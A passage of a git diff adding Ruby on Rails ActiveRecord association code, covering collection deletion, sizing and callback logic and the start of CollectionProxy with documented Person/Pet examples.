+ # provided by descendants. Note this method does not imply the records
+ # are actually removed from the database, that depends precisely on
+ # +delete_records+. They are in any case removed from the collection.
+ def delete(*records)
+ dependent = options[:dependent]
+
+ if records.first == :all
+
+ if dependent && dependent == :destroy
+ message = 'In Rails 4.1 delete_all on associations would not fire callbacks. ' \
+ 'It means if the :dependent option is :destroy then the associated ' \
+ 'records would be deleted without loading and invoking callbacks.'
+
+ ActiveRecord::Base.logger ? ActiveRecord::Base.logger.warn(message) : $stderr.puts(message)
+ end
+
+ if loaded? || dependent == :destroy
+ delete_or_destroy(load_target, dependent)
+ else
+ delete_records(:all, dependent)
+ end
+ else
+ records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+ delete_or_destroy(records, dependent)
+ end
+ end
+
+ # Destroy +records+ and remove them from this association calling
+ # +before_remove+ and +after_remove+ callbacks.
+ #
+ # Note that this method will _always_ remove records from the database
+ # ignoring the +:dependent+ option.
+ def destroy(*records)
+ records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+ delete_or_destroy(records, :destroy)
+ end
+
+ # Returns the size of the collection by executing a SELECT COUNT(*)
+ # query if the collection hasn't been loaded, and calling
+ # <tt>collection.size</tt> if it has.
+ #
+ # If the collection has been already loaded +size+ and +length+ are
+ # equivalent. If not and you are going to need the records anyway
+ # +length+ will take one less query. Otherwise +size+ is more efficient.
+ #
+ # This method is abstract in the sense that it relies on
+ # +count_records+, which is a method descendants have to provide.
+ def size
+ if !find_target? || loaded?
+ if association_scope.distinct_value
+ target.uniq.size
+ else
+ target.size
+ end
+ elsif !loaded? && !association_scope.group_values.empty?
+ load_target.size
+ elsif !loaded? && !association_scope.distinct_value && target.is_a?(Array)
+ unsaved_records = target.select { |r| r.new_record? }
+ unsaved_records.size + count_records
+ else
+ count_records
+ end
+ end
+
+ # Returns the size of the collection calling +size+ on the target.
+ #
+ # If the collection has been already loaded +length+ and +size+ are
+ # equivalent. If not and you are going to need the records anyway this
+ # method will take one less query. Otherwise +size+ is more efficient.
+ def length
+ load_target.size
+ end
+
+ # Returns true if the collection is empty.
+ #
+ # If the collection has been loaded or the <tt>:counter_sql</tt> option
+ # is provided, it is equivalent to <tt>collection.size.zero?</tt>. If the
+ # collection has not been loaded, it is equivalent to
+ # <tt>collection.exists?</tt>. If the collection has not already been
+ # loaded and you are going to fetch the records anyway it is better to
+ # check <tt>collection.length.zero?</tt>.
+ def empty?
+ if loaded? || options[:counter_sql]
+ size.zero?
+ else
+ @target.blank? && !scope.exists?
+ end
+ end
+
+ # Returns true if the collections is not empty.
+ # Equivalent to +!collection.empty?+.
+ def any?
+ if block_given?
+ load_target.any? { |*block_args| yield(*block_args) }
+ else
+ !empty?
+ end
+ end
+
+ # Returns true if the collection has more than 1 record.
+ # Equivalent to +collection.size > 1+.
+ def many?
+ if block_given?
+ load_target.many? { |*block_args| yield(*block_args) }
+ else
+ size > 1
+ end
+ end
+
+ def distinct
+ seen = {}
+ load_target.find_all do |record|
+ seen[record.id] = true unless seen.key?(record.id)
+ end
+ end
+ alias uniq distinct
+
+ # Replace this collection with +other_array+. This will perform a diff
+ # and delete/add only records that have changed.
+ def replace(other_array)
+ other_array.each { |val| raise_on_type_mismatch!(val) }
+ original_target = load_target.dup
+
+ if owner.new_record?
+ replace_records(other_array, original_target)
+ else
+ transaction { replace_records(other_array, original_target) }
+ end
+ end
+
+ def include?(record)
+ if record.is_a?(reflection.klass)
+ if record.new_record?
+ include_in_memory?(record)
+ else
+ load_target if options[:finder_sql]
+ loaded? ? target.include?(record) : scope.exists?(record)
+ end
+ else
+ false
+ end
+ end
+
+ def load_target
+ if find_target?
+ @target = merge_target_lists(find_target, target)
+ end
+
+ loaded!
+ target
+ end
+
+ def add_to_target(record)
+ callback(:before_add, record)
+ yield(record) if block_given?
+
+ if association_scope.distinct_value && index = @target.index(record)
+ @target[index] = record
+ else
+ @target << record
+ end
+
+ callback(:after_add, record)
+ set_inverse_instance(record)
+
+ record
+ end
+
+ def scope(opts = {})
+ scope = super()
+ scope.none! if opts.fetch(:nullify, true) && null_scope?
+ scope
+ end
+
+ def null_scope?
+ owner.new_record? && !foreign_key_present?
+ end
+
+ private
+
+ def custom_counter_sql
+ if options[:counter_sql]
+ interpolate(options[:counter_sql])
+ else
+ # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
+ interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
+ count_with = $2.to_s
+ count_with = '*' if count_with.blank? || count_with =~ /,/ || count_with =~ /\.\*/
+ "SELECT #{$1}COUNT(#{count_with}) FROM"
+ end
+ end
+ end
+
+ def custom_finder_sql
+ interpolate(options[:finder_sql])
+ end
+
+ def find_target
+ records =
+ if options[:finder_sql]
+ reflection.klass.find_by_sql(custom_finder_sql)
+ else
+ scope.to_a
+ end
+
+ records.each { |record| set_inverse_instance(record) }
+ records
+ end
+
+ # We have some records loaded from the database (persisted) and some that are
+ # in-memory (memory). The same record may be represented in the persisted array
+ # and in the memory array.
+ #
+ # So the task of this method is to merge them according to the following rules:
+ #
+ # * The final array must not have duplicates
+ # * The order of the persisted array is to be preserved
+ # * Any changes made to attributes on objects in the memory array are to be preserved
+ # * Otherwise, attributes should have the value found in the database
+ def merge_target_lists(persisted, memory)
+ return persisted if memory.empty?
+ return memory if persisted.empty?
+
+ persisted.map! do |record|
+ if mem_record = memory.delete(record)
+
+ ((record.attribute_names & mem_record.attribute_names) - mem_record.changes.keys).each do |name|
+ mem_record[name] = record[name]
+ end
+
+ mem_record
+ else
+ record
+ end
+ end
+
+ persisted + memory
+ end
+
+ def create_record(attributes, raise = false, &block)
+ unless owner.persisted?
+ raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
+ end
+
+ if attributes.is_a?(Array)
+ attributes.collect { |attr| create_record(attr, raise, &block) }
+ else
+ transaction do
+ add_to_target(build_record(attributes)) do |record|
+ yield(record) if block_given?
+ insert_record(record, true, raise)
+ end
+ end
+ end
+ end
+
+ # Do the relevant stuff to insert the given record into the association collection.
+ def insert_record(record, validate = true, raise = false)
+ raise NotImplementedError
+ end
+
+ def create_scope
+ scope.scope_for_create.stringify_keys
+ end
+
+ def delete_or_destroy(records, method)
+ records = records.flatten
+ records.each { |record| raise_on_type_mismatch!(record) }
+ existing_records = records.reject { |r| r.new_record? }
+
+ if existing_records.empty?
+ remove_records(existing_records, records, method)
+ else
+ transaction { remove_records(existing_records, records, method) }
+ end
+ end
+
+ def remove_records(existing_records, records, method)
+ records.each { |record| callback(:before_remove, record) }
+
+ delete_records(existing_records, method) if existing_records.any?
+ records.each { |record| target.delete(record) }
+
+ records.each { |record| callback(:after_remove, record) }
+ end
+
+ # Delete the given records from the association, using one of the methods :destroy,
+ # :delete_all or :nullify (or nil, in which case a default is used).
+ def delete_records(records, method)
+ raise NotImplementedError
+ end
+
+ def replace_records(new_target, original_target)
+ delete(target - new_target)
+
+ unless concat(new_target - target)
+ @target = original_target
+ raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \
+ "new records could not be saved."
+ end
+
+ target
+ end
+
+ def concat_records(records)
+ result = true
+
+ records.flatten.each do |record|
+ raise_on_type_mismatch!(record)
+ add_to_target(record) do |rec|
+ result &&= insert_record(rec) unless owner.new_record?
+ end
+ end
+
+ result && records
+ end
+
+ def callback(method, record)
+ callbacks_for(method).each do |callback|
+ case callback
+ when Symbol
+ owner.send(callback, record)
+ when Proc
+ callback.call(owner, record)
+ else
+ callback.send(method, owner, record)
+ end
+ end
+ end
+
+ def callbacks_for(callback_name)
+ full_callback_name = "#{callback_name}_for_#{reflection.name}"
+ owner.class.send(full_callback_name.to_sym) || []
+ end
+
+ # Should we deal with assoc.first or assoc.last by issuing an independent query to
+ # the database, or by getting the target, and then taking the first/last item from that?
+ #
+ # If the args is just a non-empty options hash, go to the database.
+ #
+ # Otherwise, go to the database only if none of the following are true:
+ # * target already loaded
+ # * owner is new record
+ # * custom :finder_sql exists
+ # * target contains new or changed record(s)
+ # * the first arg is an integer (which indicates the number of records to be returned)
+ def fetch_first_or_last_using_find?(args)
+ if args.first.is_a?(Hash)
+ true
+ else
+ !(loaded? ||
+ owner.new_record? ||
+ options[:finder_sql] ||
+ target.any? { |record| record.new_record? || record.changed? } ||
+ args.first.kind_of?(Integer))
+ end
+ end
+
+ def include_in_memory?(record)
+ if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
+ owner.send(reflection.through_reflection.name).any? { |source|
+ target = source.send(reflection.source_reflection.name)
+ target.respond_to?(:include?) ? target.include?(record) : target == record
+ } || target.include?(record)
+ else
+ target.include?(record)
+ end
+ end
+
+ # If using a custom finder_sql or if the :inverse_of option has been
+ # specified, then #find scans the entire collection.
+ def find_by_scan(*args)
+ expects_array = args.first.kind_of?(Array)
+ ids = args.flatten.compact.map{ |arg| arg.to_i }.uniq
+
+ if ids.size == 1
+ id = ids.first
+ record = load_target.detect { |r| id == r.id }
+ expects_array ? [ record ] : record
+ else
+ load_target.select { |r| ids.include?(r.id) }
+ end
+ end
+
+ # Fetches the first/last using SQL if possible, otherwise from the target array.
+ def first_or_last(type, *args)
+ args.shift if args.first.is_a?(Hash) && args.first.empty?
+
+ collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+ collection.send(type, *args).tap do |record|
+ set_inverse_instance record if record.is_a? ActiveRecord::Base
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
new file mode 100644
index 0000000..56e57cc
--- /dev/null
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -0,0 +1,986 @@
+module ActiveRecord
+ module Associations
+ # Association proxies in Active Record are middlemen between the object that
+ # holds the association, known as the <tt>@owner</tt>, and the actual associated
+ # object, known as the <tt>@target</tt>. The kind of association any proxy is
+ # about is available in <tt>@reflection</tt>. That's an instance of the class
+ # ActiveRecord::Reflection::AssociationReflection.
+ #
+ # For example, given
+ #
+ # class Blog < ActiveRecord::Base
+ # has_many :posts
+ # end
+ #
+ # blog = Blog.first
+ #
+ # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
+ # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
+ # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
+ #
+ # This class delegates unknown methods to <tt>@target</tt> via
+ # <tt>method_missing</tt>.
+ #
+ # The <tt>@target</tt> object is not \loaded until needed. For example,
+ #
+ # blog.posts.count
+ #
+ # is computed directly through SQL and does not trigger by itself the
+ # instantiation of the actual post records.
+ class CollectionProxy < Relation
+ delegate(*(ActiveRecord::Calculations.public_instance_methods - [:count]), to: :scope)
+
+ def initialize(klass, association) #:nodoc:
+ @association = association
+ super klass, klass.arel_table
+ self.default_scoped = true
+ merge! association.scope(nullify: false)
+ end
+
+ def target
+ @association.target
+ end
+
+ def load_target
+ @association.load_target
+ end
+
+ # Returns +true+ if the association has been loaded, otherwise +false+.
+ #
+ # person.pets.loaded? # => false
+ # person.pets
+ # person.pets.loaded? # => true
+ def loaded?
+ @association.loaded?
+ end
+
+ # Works in two ways.
+ #
+ # *First:* Specify a subset of fields to be selected from the result set.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.select(:name)
+ # # => [
+ # # #<Pet id: nil, name: "Fancy-Fancy">,
+ # # #<Pet id: nil, name: "Spook">,
+ # # #<Pet id: nil, name: "Choo-Choo">
+ # # ]
+ #
+ # person.pets.select([:id, :name])
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy">,
+ # # #<Pet id: 2, name: "Spook">,
+ # # #<Pet id: 3, name: "Choo-Choo">
+ # # ]
+ #
+ # Be careful because this also means you're initializing a model
+ # object with only the fields that you've selected. If you attempt
+ # to access a field that is not in the initialized record you'll
+ # receive:
+ #
+ # person.pets.select(:name).first.person_id
+ # # => ActiveModel::MissingAttributeError: missing attribute: person_id
+ #
+ # *Second:* You can pass a block so it can be used just like Array#select.
+ # This builds an array of objects from the database for the scope,
+ # converting them into an array and iterating through them using
+ # Array#select.
+ #
+ # person.pets.select { |pet| pet.name =~ /oo/ }
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.select(:name) { |pet| pet.name =~ /oo/ }
+ # # => [
+ # # #<Pet id: 2, name: "Spook">,
+ # # #<Pet id: 3, name: "Choo-Choo">
+ # # ]
+ def select(select = nil, &block)
+ @association.select(select, &block)
+ end
+
+ # Finds an object in the collection responding to the +id+. Uses the same
+ # rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
+ # error if the object can not be found.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.find(1) # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+ # person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=4
+ #
+ # person.pets.find(2) { |pet| pet.name.downcase! }
+ # # => #<Pet id: 2, name: "fancy-fancy", person_id: 1>
+ #
+ # person.pets.find(2, 3)
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def find(*args, &block)
+ @association.find(*args, &block)
+ end
+
+ # Returns the first record, or the first +n+ records, from the collection.
+ # If the collection is empty, the first form returns +nil+, and the second
+ # form returns an empty array.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.first # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+ #
+ # person.pets.first(2)
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>
+ # # ]
+ #
+ # another_person_without.pets # => []
+ # another_person_without.pets.first # => nil
+ # another_person_without.pets.first(3) # => []
+ def first(*args)
+ @association.first(*args)
+ end
+
+ # Returns the last record, or the last +n+ records, from the collection.
+ # If the collection is empty, the first form returns +nil+, and the second
+ # form returns an empty array.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.last # => #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ #
+ # person.pets.last(2)
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # another_person_without.pets # => []
+ # another_person_without.pets.last # => nil
+ # another_person_without.pets.last(3) # => []
+ def last(*args)
+ @association.last(*args)
+ end
+
+ # Returns a new object of the collection type that has been instantiated
+ # with +attributes+ and linked to this object, but have not yet been saved.
+ # You can pass an array of attributes hashes, this will return an array
+ # with the new objects.
+ #
+ # class Person
+ # has_many :pets
+ # end
+ #
+ # person.pets.build
+ # # => #<Pet id: nil, name: nil, person_id: 1>
+ #
+ # person.pets.build(name: 'Fancy-Fancy')
+ # # => #<Pet id: nil, name: "Fancy-Fancy", person_id: 1>
+ #
+ # person.pets.build([{name: 'Spook'}, {name: 'Choo-Choo'}, {name: 'Brain'}])
+ # # => [
+ # # #<Pet id: nil, name: "Spook", person_id: 1>,
+ # # #<Pet id: nil, name: "Choo-Choo", person_id: 1>,
+ # # #<Pet id: nil, name: "Brain", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 5 # size of the collection
+ # person.pets.count # => 0 # count from database
+ def build(attributes = {}, &block)
+ @association.build(attributes, &block)
+ end
+ alias_method :new, :build
+
+ # Returns a new object of the collection type that has been instantiated with
+ # attributes, linked to this object and that has already been saved (if it
+ # passes the validations).
+ #
+ # class Person
+ # has_many :pets
+ # end
+ #
+ # person.pets.create(name: 'Fancy-Fancy')
+ # # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+ #
+ # person.pets.create([{name: 'Spook'}, {name: 'Choo-Choo'}])
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 3
+ # person.pets.count # => 3
+ #
+ # person.pets.find(1, 2, 3)
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def create(attributes = {}, &block)
+ @association.create(attributes, &block)
+ end
+
+ # Like +create+, except that if the record is invalid, raises an exception.
+ #
+ # class Person
+ # has_many :pets
+ # end
+ #
+ # class Pet
+ # validates :name, presence: true
+ # end
+ #
+ # person.pets.create!(name: nil)
+ # # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+ def create!(attributes = {}, &block)
+ @association.create!(attributes, &block)
+ end
+
+ # Add one or more records to the collection by setting their foreign keys
+ # to the association's primary key. Since << flattens its argument list and
+ # inserts each record, +push+ and +concat+ behave identically. Returns +self+
+ # so method calls may be chained.
+ #
+ # class Person < ActiveRecord::Base
+ # pets :has_many
+ # end
+ #
+ # person.pets.size # => 0
+ # person.pets.concat(Pet.new(name: 'Fancy-Fancy'))
+ # person.pets.concat(Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo'))
+ # person.pets.size # => 3
+ #
+ # person.id # => 1
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.concat([Pet.new(name: 'Brain'), Pet.new(name: 'Benny')])
+ # person.pets.size # => 5
+ def concat(*records)
+ @association.concat(*records)
+ end
+
+ # Replaces this collection with +other_array+. This will perform a diff
+ # and delete/add only records that have changed.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
+ #
+ # other_pets = [Pet.new(name: 'Puff', group: 'celebrities']
+ #
+ # person.pets.replace(other_pets)
+ #
+ # person.pets
+ # # => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
+ #
+ # If the supplied array has an incorrect association type, it raises
+ # an <tt>ActiveRecord::AssociationTypeMismatch</tt> error:
+ #
+ # person.pets.replace(["doo", "ggie", "gaga"])
+ # # => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
+ def replace(other_array)
+ @association.replace(other_array)
+ end
+
+ # Deletes all the records from the collection. For +has_many+ associations,
+ # the deletion is done according to the strategy specified by the <tt>:dependent</tt>
+ # option. Returns an array with the deleted records.
+ #
+ # If no <tt>:dependent</tt> option is given, then it will follow the
+ # default strategy. The default strategy is <tt>:nullify</tt>. This
+ # sets the foreign keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>,
+ # the default strategy is +delete_all+.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets # dependent: :nullify option by default
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete_all
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 0
+ # person.pets # => []
+ #
+ # Pet.find(1, 2, 3)
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>,
+ # # #<Pet id: 2, name: "Spook", person_id: nil>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: nil>
+ # # ]
+ #
+ # If it is set to <tt>:destroy</tt> all the objects from the collection
+ # are removed by calling their +destroy+ method. See +destroy+ for more
+ # information.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets, dependent: :destroy
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete_all
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # Pet.find(1, 2, 3)
+ # # => ActiveRecord::RecordNotFound
+ #
+ # If it is set to <tt>:delete_all</tt>, all the objects are deleted
+ # *without* calling their +destroy+ method.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets, dependent: :delete_all
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete_all
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # Pet.find(1, 2, 3)
+ # # => ActiveRecord::RecordNotFound
+ def delete_all
+ @association.delete_all
+ end
+
+ # Deletes the records of the collection directly from the database.
+ # This will _always_ remove the records ignoring the +:dependent+
+ # option.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.destroy_all
+ #
+ # person.pets.size # => 0
+ # person.pets # => []
+ #
+ # Pet.find(1) # => Couldn't find Pet with id=1
+ def destroy_all
+ @association.destroy_all
+ end
+
+ # Deletes the +records+ supplied and removes them from the collection. For
+ # +has_many+ associations, the deletion is done according to the strategy
+ # specified by the <tt>:dependent</tt> option. Returns an array with the
+ # deleted records.
+ #
+ # If no <tt>:dependent</tt> option is given, then it will follow the default
+ # strategy. The default strategy is <tt>:nullify</tt>. This sets the foreign
+ # keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>, the default
+ # strategy is +delete_all+.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets # dependent: :nullify option by default
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete(Pet.find(1))
+ # # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+ #
+ # person.pets.size # => 2
+ # person.pets
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # Pet.find(1)
+ # # => #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>
+ #
+ # If it is set to <tt>:destroy</tt> all the +records+ are removed by calling
+ # their +destroy+ method. See +destroy+ for more information.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets, dependent: :destroy
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete(Pet.find(1), Pet.find(3))
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 1
+ # person.pets
+ # # => [#<Pet id: 2, name: "Spook", person_id: 1>]
+ #
+ # Pet.find(1, 3)
+ # # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 3)
+ #
+ # If it is set to <tt>:delete_all</tt>, all the +records+ are deleted
+ # *without* calling their +destroy+ method.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets, dependent: :delete_all
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete(Pet.find(1))
+ # # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+ #
+ # person.pets.size # => 2
+ # person.pets
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # Pet.find(1)
+ # # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=1
+ #
+ # You can pass +Fixnum+ or +String+ values, it finds the records
+ # responding to the +id+ and executes delete on them.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.delete("1")
+ # # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+ #
+ # person.pets.delete(2, 3)
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def delete(*records)
+ @association.delete(*records)
+ end
+
+ # Destroys the +records+ supplied and removes them from the collection.
+ # This method will _always_ remove record from the database ignoring
+ # the +:dependent+ option. Returns an array with the removed records.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.destroy(Pet.find(1))
+ # # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+ #
+ # person.pets.size # => 2
+ # person.pets
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.destroy(Pet.find(2), Pet.find(3))
+ # # => [
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 0
+ # person.pets # => []
+ #
+ # Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (1, 2, 3)
+ #
+ # You can pass +Fixnum+ or +String+ values, it finds the records
+ # responding to the +id+ and then deletes them from the database.
+ #
+ # person.pets.size # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 4, name: "Benny", person_id: 1>,
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ #
+ # person.pets.destroy("4")
+ # # => #<Pet id: 4, name: "Benny", person_id: 1>
+ #
+ # person.pets.size # => 2
+ # person.pets
+ # # => [
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ #
+ # person.pets.destroy(5, 6)
+ # # => [
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 0
+ # person.pets # => []
+ #
+ # Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with IDs (4, 5, 6)
+ def destroy(*records)
+ @association.destroy(*records)
+ end
+
+ # Specifies whether the records should be unique or not.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.select(:name)
